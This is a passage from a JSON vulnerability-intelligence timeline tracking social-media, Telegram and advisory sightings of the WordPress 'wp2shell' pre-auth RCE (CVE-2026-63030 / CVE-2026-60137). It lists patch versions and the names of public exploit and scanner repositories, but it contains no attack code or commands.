7.0.2 \n\u30fb6.8.x \u3000\u2192\u3000WordPress 6.8.6 \n\nX\u30b5\u30fc\u30d0\u30fc\u7cfb\u306e\u30b9\u30bf\u30fc\u30ec\u30f3\u30bf\u30eb\u30b5\u30fc\u30d0\u30fc\u3055\u3093\u306e\u304a\u77e5\u3089\u305b\u306b\u3082\u8f09\u3063\u3066\u3044\u305f\u306e\u3067\u3001\u30ea\u30f3\u30af\u8cbc\u3063\u3066\u304a\u304d\u307e\u3059\u3002\nwww.star.ne.jp/news/detail....", "url": "https://bsky.app/profile/jkanematsu.bsky.social/post/3mqy7qa5ni22j"}, {"timestamp": "2026-07-19T07:17:56.070Z", "date_only": false, "value": "2026-07-19T07:17:56.070523Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mqyafe6yot2j", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "0105da99-26d1-46af-ba9a-3ce15a741a38", "content": "CVE-2026-63030: wp2shell Exploits Demand Immediate Action from WordPress Users #WordPress #CyberSecurity #CVE2026", "url": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mqyafe6yot2j"}, {"timestamp": "2026-07-19T07:19:26.908Z", "date_only": false, "value": "2026-07-19T07:19:26.908031Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mqyai2vplb2w", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "ce83ec73-6cbb-47bb-8c0e-6d6d76739612", "content": "Critical CVE-2026-63030 and CVE-2026-60137 Exploits Threaten WordPress Sites #WordPress #CyberSecurity #CVE2026", "url": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mqyai2vplb2w"}, {"timestamp": "2026-07-19T07:19:29.042Z", "date_only": false, "value": "2026-07-19T07:19:29.042124Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mqyai4n3us2o", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "d6002359-d0be-4d1c-9b92-75b0488b6dc8", "content": "CVE-2026-63030: WordPress Vulnerabilities Highlight Major Update Failures #WordPress #CyberSecurity #Vulnerabilities", "url": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mqyai4n3us2o"}, {"timestamp": "2026-07-19T07:19:30.450Z", "date_only": false, "value": "2026-07-19T07:19:30.450713Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mqyai6mcmt2j", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "4d925b0d-5bdd-43a3-837d-64526bdecca5", "content": "CVE-2026-63030; CVE-2026-60137: WordPress Exploits Offer Open Door to Attackers #WordPress #Cybersecurity #Exploits", "url": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mqyai6mcmt2j"}, {"timestamp": "2026-07-19T07:19:32.461Z", "date_only": false, "value": "2026-07-19T07:19:32.461342Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mqyaiai4m72p", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "071869a0-dbe7-422e-90ec-fbfd2417340b", "content": "CVE-2026-63030 and CVE-2026-60137: Is WordPress\u2019s Update Enough? #WordPress #CyberSecurity #Vulnerability", "url": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mqyaiai4m72p"}, {"timestamp": "2026-07-19T08:00:05.037Z", "date_only": false, "value": "2026-07-19T08:00:05.037220Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/94097", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "6ed36067-d627-4521-901c-506e58b451c2", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp2shell\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a ikow\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-19 06:23:55\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nwp2shell \u2014 WordPress Core Pre-Auth RCE (CVE-2026-63030 + CVE-2026-60137). Exploit toolkit + remediation.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94097"}, {"timestamp": "2026-07-19T08:28:17.214Z", "date_only": false, "value": "2026-07-19T08:28:17.214052Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/r-netsec-bot.bsky.social/post/3mqyed5urb52c", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "5ad21d48-209b-4389-8e97-3018cc64d4e3", "content": "wp2shell (CVE-2026-63030) update: public working exploit now available for the WordPress core pre-auth RCE", "url": "https://bsky.app/profile/r-netsec-bot.bsky.social/post/3mqyed5urb52c"}, {"timestamp": "2026-07-19T08:54:32.637Z", "date_only": false, "value": "2026-07-19T08:54:32.637445Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/r-netsec.bsky.social/post/3mqyfs4trov2i", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "5454dfe1-5e07-4ad5-99ad-bfcad9bfac65", "content": "wp2shell (CVE-2026-63030) update: public working exploit now available for the WordPress core pre-auth RCE", "url": "https://bsky.app/profile/r-netsec.bsky.social/post/3mqyfs4trov2i"}, {"timestamp": "2026-07-19T09:40:19.822Z", "date_only": false, "value": "2026-07-19T09:40:19.822620Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/crawler.baldanders.info/post/3mqyidqoupg2g", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "1d673aaf-b746-451e-a3b2-089742d15eac", "content": "\uff1e WordPress Core\u306e\u8106\u5f31\u6027 CVE-2026-63030 / CVE-2026-60137 (\u901a\u79f0\u300cwp2shell\u300d)\u306b\u3064\u3044\u3066\u307e\u3068\u3081\u3066\u307f\u305f\nhttps://piyolog.hatenadiary.jp/entry/2026/07/19/181822\n", "url": "https://bsky.app/profile/crawler.baldanders.info/post/3mqyidqoupg2g"}, {"timestamp": "2026-07-19T10:00:03.284Z", "date_only": false, "value": "2026-07-19T10:00:03.284536Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/94110", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "9a33c6a7-41c2-40c7-9d09-93b41eaf5f2f", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp2shell-scanner\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a bahartanir\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-19 08:54:06\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-63030 / CVE-2026-60137 - WordPress pre-auth RCE scanner\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94110"}, {"timestamp": "2026-07-19T10:04:30.850Z", "date_only": false, "value": "2026-07-19T10:04:30.850513Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/kalika.de/post/3mqyjpa7z3m2n", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "f8277e20-3033-4e28-8fef-a007ec16a457", "content": "wp2shell: Die kritische Pre-Auth-RCE-L\u00fccke in WordPress Core \u2013 was Site-Betreiber jetzt wissen m\u00fcssen\n\nwp2shell (CVE-2026-63030 & CVE-2026-60137) erlaubt unauthentifizierte Remote Code Execution in WordPres...\n\nhttps://www.kalika.de/posts/technical-analysis-of-wp2shell-the-latest-wordpress-core-pre/", "url": "https://bsky.app/profile/kalika.de/post/3mqyjpa7z3m2n"}, {"timestamp": "2026-07-19T11:19:25.813Z", "date_only": false, "value": "2026-07-19T11:19:25.813773Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/suriq.io/post/3mqynv6txcs24", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "f9127711-9df5-48fc-9246-73f24c831715", "content": "\ud83d\udd34 EXPLOITED\n\nwp2shell went from patched to weaponized in a day.\n\nWorking exploits for the unauthenticated WordPress Core RCE (CVE-2026-63030) are public, with first in-the-wild signs.\n\nUpdate to 6.9.5 or 7.0.2, then hunt.", "url": "https://bsky.app/profile/suriq.io/post/3mqynv6txcs24"}, {"timestamp": "2026-07-19T13:00:04.329Z", "date_only": false, "value": "2026-07-19T13:00:04.329325Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/HackerNewscyber/3265", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "96e259eb-80c8-4436-8359-4261acf1fe5a", "content": "\u2708\ufe0f\u0627\u0646\u062a\u0634\u0627\u0631 \u0627\u06a9\u0633\u067e\u0644\u0648\u06cc\u062a\u200c\u0647\u0627\u06cc \u0639\u0645\u0648\u0645\u06cc wp2shell\u061b \u0645\u06cc\u0644\u06cc\u0648\u0646\u200c\u0647\u0627 \u0648\u0628\u200c\u0633\u0627\u06cc\u062a \u0648\u0631\u062f\u067e\u0631\u0633\u06cc \u062f\u0631 \u0645\u0639\u0631\u0636 \u062a\u0635\u0631\u0641 \u06a9\u0627\u0645\u0644\n\n\ud83c\udfa5 \u0627\u06a9\u0633\u067e\u0644\u0648\u06cc\u062a\u200c\u0647\u0627\u06cc \u0639\u0645\u0648\u0645\u06cc \u0645\u0648\u0633\u0648\u0645 \u0628\u0647 wp2shell \u0628\u0631\u0627\u06cc \u062f\u0648 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0628\u062d\u0631\u0627\u0646\u06cc \u0648\u0631\u062f\u067e\u0631\u0633 \u0628\u0627 \u0634\u0646\u0627\u0633\u0647\u200c\u0647\u0627\u06cc CVE-2026-63030 \u0648 CVE-2026-60137 \u0645\u0646\u062a\u0634\u0631 \u0634\u062f. \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u0646\u062f \u0628\u0627 \u0632\u0646\u062c\u06cc\u0631\u0647\u200c\u0633\u0627\u0632\u06cc \u0627\u06cc\u0646 \u062f\u0648 \u0646\u0642\u0635\u060c \u0628\u062f\u0648\u0646 \u0646\u06cc\u0627\u0632 \u0628\u0647 \u0627\u062d\u0631\u0627\u0632 \u0647\u0648\u06cc\u062a\u060c \u06a9\u062f \u062f\u0644\u062e\u0648\u0627\u0647 \u062e\u0648\u062f \u0631\u0627 \u0631\u0648\u06cc \u0633\u0631\u0648\u0631 \u0627\u062c\u0631\u0627 \u06a9\u0631\u062f\u0647 \u0648 \u06a9\u0646\u062a\u0631\u0644 \u06a9\u0627\u0645\u0644 \u0648\u0628\u200c\u0633\u0627\u06cc\u062a \u0631\u0627 \u062f\u0631 \u0627\u062e\u062a\u06cc\u0627\u0631 \u0628\u06af\u06cc\u0631\u0646\u062f.\n\n\ud83c\udfa5 \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc\u200c\u0647\u0627 \u0646\u0633\u062e\u0647\u200c\u0647\u0627\u06cc 6.9.x \u0648 7.0.x \u0648\u0631\u062f\u067e\u0631\u0633 \u0631\u0627 \u062a\u062d\u062a \u062a\u0623\u062b\u06cc\u0631 \u0642\u0631\u0627\u0631 \u0645\u06cc\u200c\u062f\u0647\u0646\u062f. \u062a\u06cc\u0645 \u062a\u0648\u0633\u0639\u0647 \u0648\u0631\u062f\u067e\u0631\u0633 \u0627\u0632 \u0645\u062f\u06cc\u0631\u0627\u0646 \u0633\u0627\u06cc\u062a\u200c\u0647\u0627 \u062e\u0648\u0627\u0633\u062a\u0647 \u0627\u0633\u062a \u0647\u0631\u0686\u0647 \u0633\u0631\u06cc\u0639\u200c\u062a\u0631 \u0628\u0647 \u0646\u0633\u062e\u0647\u200c\u0647\u0627\u06cc 7.0.2 \u06cc\u0627 6.9.5 \u0628\u0647\u200c\u0631\u0648\u0632\u0631\u0633\u0627\u0646\u06cc \u06a9\u0646\u0646\u062f. \u0628\u0647 \u062f\u0644\u06cc\u0644 \u0634\u062f\u062a \u0627\u06cc\u0646 \u0646\u0642\u0635\u200c\u0647\u0627\u060c \u0628\u0647\u200c\u0631\u0648\u0632\u0631\u0633\u0627\u0646\u06cc \u0627\u0645\u0646\u06cc\u062a\u06cc \u062e\u0648\u062f\u06a9\u0627\u0631 \u0646\u06cc\u0632 \u0628\u0631\u0627\u06cc \u0646\u0633\u062e\u0647\u200c\u0647\u0627\u06cc \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631 \u0641\u0639\u0627\u0644 \u0634\u062f\u0647 \u0627\u0633\u062a.\n\n\ud83c\udfa5\u067e\u0698\u0648\u0647\u0634\u06af\u0631\u0627\u0646 \u0634\u0631\u06a9\u062a Searchlight Cyber \u0627\u0639\u0644\u0627\u0645 \u06a9\u0631\u062f\u0647\u200c\u0627\u0646\u062f \u0628\u06cc\u0634 \u0627\u0632 \u06f5\u06f0\u06f0 \u0645\u06cc\u0644\u06cc\u0648\u0646 \u0648\u0628\u200c\u0633\u0627\u06cc\u062a \u0627\u0632 \u0648\u0631\u062f\u067e\u0631\u0633 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f \u0648 \u062f\u0631 \u0635\u0648\u0631\u062a \u0639\u062f\u0645 \u0628\u0647\u200c\u0631\u0648\u0632\u0631\u0633\u0627\u0646\u06cc\u060c \u062f\u0631 \u0645\u0639\u0631\u0636 \u062d\u0645\u0644\u0627\u062a \u0642\u0631\u0627\u0631 \u062f\u0627\u0631\u0646\u062f. \u062f\u0631 \u0635\u0648\u0631\u062a \u0639\u062f\u0645 \u0627\u0645\u06a9\u0627\u0646 \u0646\u0635\u0628 \u0648\u0635\u0644\u0647 \u0627\u0645\u0646\u06cc\u062a\u06cc\u060c \u0628\u0647\u200c\u0637\u0648\u0631 \u0645\u0648\u0642\u062a \u0645\u06cc\u200c\u062a\u0648\u0627\u0646 \u062f\u0633\u062a\u0631\u0633\u06cc \u0646\u0627\u0634\u0646\u0627\u0633 \u0628\u0647 \u0645\u0633\u06cc\u0631 REST API Batch \u0631\u0627 \u0645\u0633\u062f\u0648\u062f \u06a9\u0631\u062f\u060c \u0627\u0645\u0627 \u0627\u06cc\u0646 \u0627\u0642\u062f\u0627\u0645 \u062a\u0646\u0647\u0627 \u06cc\u06a9 \u0631\u0627\u0647\u06a9\u0627\u0631 \u0645\u0648\u0642\u062a \u0645\u062d\u0633\u0648\u0628 \u0645\u06cc\u200c\u0634\u0648\u062f.\n\n\u2708\ufe0f @HackerNewsCyber", "url": "https://t.me/HackerNewscyber/3265"}, {"timestamp": "2026-07-19T14:52:04.113Z", "date_only": false, "value": "2026-07-19T14:52:04.113505Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/tech-trending.bsky.social/post/3mqyzrf6oeu2m", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "830d34d5-54f6-48c7-a8ce-ae36ee7298d5", "content": "WordPress Core\u306e\u8106\u5f31\u6027 CVE-2026-63030 / CVE-2026-60137 (\u901a\u79f0\u300cwp2shell\u300d)\u306b\u3064\u3044\u3066\u307e\u3068\u3081\u3066\u307f\u305f - piyolog\nhttps://piyolog.hatenadiary.jp/entry/2026/07/19/181822", "url": "https://bsky.app/profile/tech-trending.bsky.social/post/3mqyzrf6oeu2m"}, {"timestamp": "2026-07-19T14:55:09.513Z", "date_only": false, "value": "2026-07-19T14:55:09.513525Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/hatena-bookmark.bsky.social/post/3mqyzwwvtmo2q", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "8355329d-2d88-4dbf-977a-fb93123e9742", "content": "#\ud83d\udd16\u30c6\u30af\u30ce\u30ed\u30b8\u30fc\nWordPress Core\u306e\u8106\u5f31\u6027 CVE-2026-63030 / CVE-2026-60137 (\u901a\u79f0\u300cwp2shell\u300d)\u306b\u3064\u3044\u3066\u307e\u3068\u3081\u3066\u307f\u305f - piyolog\n\n2026\u5e747\u670817\u65e5\u3001WordPress\u3092\u958b\u767a\u3059\u308bWordPress.org\u306f\u3001WordPress Core\u306b\u8a8d\u8a3c\u4e0d\u8981\u306e\u30ea\u30e2\u30fc\u30c8\u30b3\u30fc\u30c9\u5b9f\u884c(RCE)\u306b\u81f3\u308b\u6df1\u523b\u306a\u8106\u5f31\u6027\u304c\u78ba\u8a8d\u3055\u308c\u305f\u3068\u3057\u3066\u3001\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30ea\u30ea\u30fc\u30b9\u7248WordPress 7.0.2\u3092\u516c\u958b\u3057\u3001\u5bfe\u8c61\u30d0\u30fc\u30b8\u30e7\u30f3\u3092\u5229\u7528\u3059\u308b\u30b5\u30a4\u30c8\u306b\u81ea\u52d5\u66f4\u65b0\u30b7\u30b9\u30c6\u30e0\u7d4c\u7531\u3067\u306e\u5f37\u5236\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u3092\u9069\u7528\u3059\u308b\u5bfe\u5fdc\u3092\u53d6\u308a\u307e\u3057\u305f\u3002\u3053\u308c\u30892\u4ef6\u306e...", "url": "https://bsky.app/profile/hatena-bookmark.bsky.social/post/3mqyzwwvtmo2q"}, {"timestamp": "2026-07-19T15:00:04.187Z", "date_only": false, "value": "2026-07-19T15:00:04.187888Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/94147", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "bbfb2a7e-1772-432b-820d-bb5965643ea5", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp2shell-compromise-scanner-plugin\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a eyesecurity\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a PHP\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-19 13:24:55\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nRead-only WordPress plugin that scans for artifacts of the wp2shell exploit chain (CVE-2026-63030 / CVE-2026-60137)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94147"}, {"timestamp": "2026-07-19T16:00:12.836Z", "date_only": false, "value": "2026-07-19T16:00:12.836005Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/94159", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "0f21ff19-20b3-458a-9d3d-fad1f2d2014b", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp2shell\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a N45HT\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-19 14:57:50\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n[CVE-2026-63030/CVE-2026-60137] Pre Authentication RCE in WordPress Core\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94159"}, {"timestamp": "2026-07-19T17:00:01Z", "date_only": false, "value": "2026-07-19T17:00:01+00:00", "kind": "kev", "label": "Recorded", "source": "kevintel", "record": "CVE-2026-63030", "field": "timestamps.recorded_at", "uuid": "a8d657c5-c777-4516-a1a5-d052f50b82be", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-07-19T17:00:40.226Z", "date_only": false, "value": "2026-07-19T17:00:40.226239Z", "kind": "sighting", "label": "Exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/a8d657c5-c777-4516-a1a5-d052f50b82be", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "16d37df6-3a37-4fa6-a5bb-ebc30064d27c", "url": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/a8d657c5-c777-4516-a1a5-d052f50b82be"}, {"timestamp": "2026-07-19T18:00:04.014Z", "date_only": false, "value": "2026-07-19T18:00:04.014106Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/94169", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "bfd9b73c-263c-4cbd-a2ca-dae496521192", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-63030-POC\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a 4B3R4M4-607D\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-19 15:55:04\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-63030 / wp2shell\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94169"}, {"timestamp": "2026-07-19T21:00:04.918Z", "date_only": false, "value": "2026-07-19T21:00:04.918732Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/94192", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "db3038b0-ef11-422c-843f-0586c519750f", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #Vulnerability Scanner\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a PressVector\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a vulnquest58\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-19 19:20:53\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPressVector - Advanced WordPress Vulnerability Scanner CVE-2026-63030 (REST batch route confusion) / CVE-2026-60137 (SQLi) Developer: Vulnquest\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94192"}, {"timestamp": "2026-07-19T21:00:05.006Z", "date_only": false, "value": "2026-07-19T21:00:05.006067Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/94189", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "f4c5524b-136f-4c0f-80e2-73b92873d07a", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #RCE #CVE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp-cve-2026-63030-check\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Lukols-Dev\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-19 19:05:15\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nNon-intrusive exposure checker for the WordPress wp2shell pre-auth RCE chain (CVE-2026-63030 / CVE-2026-60137).\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94189"}, {"timestamp": "2026-07-19T21:00:05.085Z", "date_only": false, "value": "2026-07-19T21:00:05.085518Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/94187", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "9d489d9a-e955-48fa-856c-45c62d136af8", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp2shell-scanner\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a hidden-investigations\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-19 18:12:09\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nWordPress wp2shell vulnerability-chain scanner for CVE-2026-63030 and CVE-2026-60137, with active detection, optional PoC, JSON export.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94187"}, {"timestamp": "2026-07-19T22:15:07.818Z", "date_only": false, "value": "2026-07-19T22:15:07.818345Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/igalog.bsky.social/post/3mqzsjnu52d2y", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "4f5ed07d-4d50-456b-955f-13646985e306", "content": "WordPress Core\u306e\u8106\u5f31\u6027 CVE-2026-63030 / CVE-2026-60137 (\u901a\u79f0\u300cwp2shell\u300d)\u306b\u3064\u3044\u3066\u307e\u3068\u3081\u3066\u307f\u305f - piyolog\nhttps://piyolog.hatenadiary.jp/entry/2026/07/19/181822\n\n\u4f11\u65e5\u306e\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u4f5c\u696d", "url": "https://bsky.app/profile/igalog.bsky.social/post/3mqzsjnu52d2y"}, {"timestamp": "2026-07-19T23:51:02.694Z", "date_only": false, "value": "2026-07-19T23:51:02.694500Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/tamosan.bsky.social/post/3mqzxv6bdcl2m", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "25aea107-e895-4622-8d3b-20d2bfc97c41", "content": "\u591c\u884c\u6027\u30a4\u30f3\u30b3\u3055\u3093\u306e\u307e\u3068\u3081\u3002\u5373\u5bfe\u5fdc\u3067\u3059\u306a\u3053\u308c\u306f\uff1aWordPress Core\u306e\u8106\u5f31\u6027 CVE-2026-63030 / CVE-2026-60137 (\u901a\u79f0\u300cwp2shell\u300d)\u306b\u3064\u3044\u3066\u307e\u3068\u3081\u3066\u307f\u305f - piyolog piyolog.hatenadiary.jp/entry/2026/0...", "url": "https://bsky.app/profile/tamosan.bsky.social/post/3mqzxv6bdcl2m"}, {"timestamp": "2026-07-20T00:00:00Z", "date_only": false, "value": "2026-07-20T00:00:00", "kind": "other", "label": "Last revision date", "source": "certfr_avis \u00b7 CERTFR-2026-AVI-0904", "record": "CERTFR-2026-AVI-0904", "field": "last_revision_date"}, {"timestamp": "2026-07-20T00:00:00Z", "date_only": false, "value": "2026-07-20T00:00:00", "kind": "milestone", "label": "Published", "source": "certfr_alerte \u00b7 CERTFR-2026-ALE-007", "record": "CERTFR-2026-ALE-007", "field": "initial_release_date"}, {"timestamp": "2026-07-20T00:00:00Z", "date_only": false, "value": "2026-07-20T00:00:00", "kind": "milestone", "label": "Published", "source": "certfr_avis \u00b7 CERTFR-2026-AVI-0904", "record": "CERTFR-2026-AVI-0904", "field": "initial_release_date"}, {"timestamp": "2026-07-20T00:00:00Z", "date_only": false, "value": "2026-07-20T00:00:00.000000", "kind": "other", "label": "Revision date", "source": "certfr_alerte \u00b7 CERTFR-2026-ALE-007", "record": "CERTFR-2026-ALE-007", "field": "revisions.0.revision_date"}, {"timestamp": "2026-07-20T00:00:00Z", "date_only": false, "value": "2026-07-20T00:00:00.000000", "kind": "other", "label": "Revision date", 